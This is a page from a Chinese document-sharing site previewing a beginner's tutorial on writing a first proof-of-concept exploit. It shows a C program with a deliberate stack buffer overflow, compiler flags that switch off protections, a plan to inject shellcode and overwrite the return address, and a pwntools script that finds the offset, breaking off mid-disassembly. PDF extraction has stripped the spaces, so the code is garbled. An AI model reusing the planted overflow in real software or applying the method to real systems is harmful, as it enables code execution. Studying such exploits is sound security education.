编写的第一个POC代码.pdfVIP

  1. 1、本文档共3页,可阅读全部内容。
  2. 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  5. 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  6. 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  7. 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  8. 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多

编写的第⼀个POC代码

0x00Target

#includeassert.h

#includeunistd.h

intvuln()

{

//Definevariables

chararr[400];

intreturn_status;

//Grabuserinput

printf(Whatsyourname?\n);

return_status=read(0,arr,800);

//Printuserinput

printf(Hey%s,arr);

//Returnsuccess

return0;

}

intmain(intargc,char*argv[])

{

vuln();

return0;

}

这是⼀个⾮常标准的带有栈溢出漏洞的程序,编译与运⾏的条件如下:

虚拟机,Ubuntu18.04LTS,Kernel:4.15.0-45-generic

使⽤如下GCC指令编译,关闭PIE(Position-independentExecutable,指令位置⽆关可执⾏程序),关闭栈保护功能,启⽤栈可执⾏

功能。

gcc-g-no-pie-fno-stack-protector-zexecstack-ovuln2vuln2.c

利⽤这个漏洞的思路如下:

将shellcode通过标准输⼊写⼊arr[400]数组;

覆盖vulr栈帧保存的上⼀级函数的返回地址为arr[400]的起始地址;

当函数调⽤ret指令时,跳转到arr[400]执⾏shellcode。

0x01Fuzzing

使⽤pwntools中的cyclic⽣成cyclepyload,获取以下信息:

arr[400]到栈帧中返回地址保存位置的offset;

arr[400]的绝对地址,可以⽤vulr()栈帧的rbp和offset计算得到。

编写的Fuzzing程序如下:

deffind_rbp():

cycle_payload=cyclic(512,n=8)

clean_corefile(COREDUMP)

#Generatecoredump

p=process([VULR_BINARY])

p.sendline(cycle_payload)

p.wait_for_close()

#Analisecoredump

core=Coredump(COREDUMP)

clean_corefile(COREDUMP)

#FindRBPaddress,RBPaddressisequaltoRBPafterleaveq

returncore.rsp-8,cyclic_find(pack(core.rbp,64),n=8)

很多基于32位Linux系统讲解栈溢出的教程中采⽤根据EIP中存储的值来确定offset,但这个⽅法在x64系统中不适⽤。具体地,注意程序

⽣成的coredump⽂件:

(gdb)disas

Dumpofassemblercodeforfunctionvuln:

0x00000000004005c7+0:push%rbp

0x00000000004005c8+1:mov%rsp,%rbp

0x00000000004005cb+4:sub$0x1a0,%rsp

0x00000000004005d2+11:lea0x11b(%rip),%rdi#0x4006f4

0x00000000004005d9+18:callq0x4004b0puts@plt

0x00000000004005de+23

文档评论(0)

180****8094 + 关注
实名认证
文档贡献者

小学毕业生

1亿VIP精品文档

相关文档